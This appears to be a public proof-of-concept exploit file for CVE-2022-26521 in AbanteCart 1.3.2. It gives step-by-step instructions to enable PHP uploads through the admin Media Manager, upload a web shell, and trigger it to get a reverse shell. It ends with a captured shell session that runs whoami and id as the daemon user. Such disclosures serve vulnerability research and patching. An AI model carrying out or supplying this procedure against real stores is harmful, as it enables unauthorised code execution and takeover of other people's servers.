sartlabs Update Exploit.txt History

1 contributor

29 lines (27 sloc) | 1.67 KB

```
# Exploit Title: Authenticated Remote Code Execution in Abantecart-1.3.2
# Remote Code Execution in Abantecart-1.3.2 and earlier allows remote attackers to execute arbitra
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.h
# Date: 3rd Mar'2022
# CVE ID: CVE-2022-26521
# Confirmed on release 1.3.2
# Vendor: https://www.abantecart.com/download

################################################
#Step1- Login with Admin Credentials
#Step2- Uploading .php files is disabled by default hence we need to abuse the functionality:
        Goto Catalog=>Media Manager=>Images=>Edit=> Add php in Allowed file extensions
#Step3- Now Goto Add Media=>Add Resource=> Upload php web shell
#Step4- Copy the Resource URL location and execute it in the browser e.g. :
Visit //IP_ADDR/resources/image/18/7a/4.php (Remove the //) and get the reverse shell:

listening on [any] 4477 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 34532
Linux debian 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux
 11:17:51 up  2:15,  1 user,  load average: 1.91, 1.93, 1.52
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
bitnami  tty1     -                09:05    1:05m  0.20s  0.01s -bash
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$
```